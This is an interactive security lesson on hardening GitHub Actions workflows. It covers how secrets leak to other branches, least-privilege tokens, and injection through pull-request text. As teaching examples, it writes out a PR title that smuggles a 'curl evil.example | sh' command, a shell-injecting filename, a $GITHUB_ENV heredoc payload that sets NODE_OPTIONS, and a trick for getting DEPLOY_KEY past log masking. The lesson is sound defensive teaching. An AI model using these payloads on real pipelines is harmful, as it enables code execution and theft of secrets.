Track 09 · Lesson 3 of 9Shipping safely
CI secrets and workflows
Lesson 3 of 9· 9 min
CI holds your production keys and runs code from every branch and pull request. Whoever can change a workflow file can make it print the secrets it sees, and untrusted text pasted into a script becomes commands.
Harden a deploy workflow
Three switches, three attacks
.github/workflows/deploy.yml
on:
push: { branches: [main] }
pull_request:
workflow_dispatch:
jobs:
check-title:
if: github.event_name == 'pull_request'
runs-on: ubuntu-latest
steps:
- run: echo "Checking ${{ github.event.pull_request.title }}"
deploy:
if: github.event_name != 'pull_request'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd719… # pinned
- run: ./deploy.sh
env:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}Someone with write access edits the deploy job on a branch and runs it
WorksRepository secrets are available to any branch’s version of the workflow. One line base64-encodes DEPLOY_KEY to dodge log masking.
A pull request titled x"; curl -s evil.example/s | sh; echo "
WorksThe title is pasted into the shell script before it runs, so the attacker’s command executes with a token that can write to the repo.
A compromised build dependency tries to push to main with GITHUB_TOKEN
WorksWithout a permissions block the token may have write access, depending on old repository defaults.
Secrets behind an environment#
Repository secrets are available to any workflow on any branch, including one someone just edited and ran with workflow_dispatch. Move production secrets into a GitHub Environment with a branch rule (main only) and required reviewers, and declare environment: production on the deploy job. Other branches never receive them.
Least privilege for the token#
Every job gets a GITHUB_TOKEN. Start each workflow with permissions: contents: read and grant more per job only where needed.
Untrusted text stays data#
Pull-request titles, bodies, branch names and file names are written by whoever opened the PR. Interpolating them with ${{ }} straight into a run: script pastes them into the shell. Pass them through env: instead, and never write them into $GITHUB_ENV with a fixed delimiter.
Writing to $GITHUB_ENV
The PR author controls the body
- run: |
{ echo "BODY<<__EOF__"; echo "$BODY"; echo "__EOF__"; } >> "$GITHUB_ENV"$GITHUB_ENV, as written
BODY<<__EOF__ Fixes a typo. __EOF__ NODE_OPTIONS=--require=/tmp/x.js __EOF__
Variables the runner sets for later steps
BODYFixes a typo.NODE_OPTIONS--require=/tmp/x.jsnode step loads the attacker’s file, with the job’s secrets in scope.CI injection through a pull request
Then the fixed workflow
CI injection through a pull request
Attacker
PR author
CI runner
Review script
node
Shell
Attacker server
Step 1 of 6 · Attacker → CI runner
PR body with __EOF__ + NODE_OPTIONS
- $GITHUB_ENV injection and heredoc delimiters:
- Writing to the $GITHUB_ENV file sets environment variables for later steps. Multi-line values use a delimiter (NAME<<__EOF__ … __EOF__). If an attacker controls the value and the delimiter is fixed, they can end the block early and define their own variables, like NODE_OPTIONS or PATH, which leads to code execution.
- Shell injection: execSync vs execFileSync:
- execSync('git diff ' + file) hands a single string to a shell, so a filename like x;curl evil|sh runs extra commands. execFileSync('git', ['diff', file]) runs git directly with arguments, and no shell ever interprets them.
- permissions: and least privilege:
- Each workflow gets a GITHUB_TOKEN. Without a permissions: block it may have broad write access. Least privilege means granting only what the job needs, typically contents: read.
- Prompt injection:
- Hidden instructions in content an AI reads (a web page, a scraped post, a PR description) that make it do something its user did not ask for.
Prod secrets from any branch
Then with an environment
Prod secrets from any branch
Repo writer
or stolen token
GitHub
Deploy workflow
on branch
Attacker server
Step 1 of 5 · Repo writer → GitHub
Push edited workflow
- GitHub Actions secrets and workflows:
- Workflows are YAML files in .github/workflows that run on events (push, pull_request, manual). Repository secrets are available to any workflow in the repo. Whoever can change a workflow file on a branch can make it print those secrets.
- workflow_dispatch:
- A trigger that lets someone run a workflow manually from the GitHub UI or API, on a branch they choose. Useful, but combined with repo-level secrets it means 'any branch can run with prod credentials'.
- GitHub Environments and required reviewers:
- An Environment (e.g. 'production') holds its own secrets and protection rules: only certain branches (main) may use it, and a named reviewer must approve each run before secrets are released.
- permissions: and least privilege:
- Each workflow gets a GITHUB_TOKEN. Without a permissions: block it may have broad write access. Least privilege means granting only what the job needs, typically contents: read.
In a code review
HighDevOpsProduction secrets available to any branch in CI
Fix: Move production secrets into a protected Environment (main only, required reviewers) and set permissions: contents: read by default.
0 of 4 checked
In a code review
HighDevOpsUntrusted text reaches a shell or $GITHUB_ENV in CI
Fix: Pass untrusted values only through env:, use random heredoc delimiters, run commands with argument arrays (execFile), and run scripts from the base branch.
0 of 3 checked
Check yourself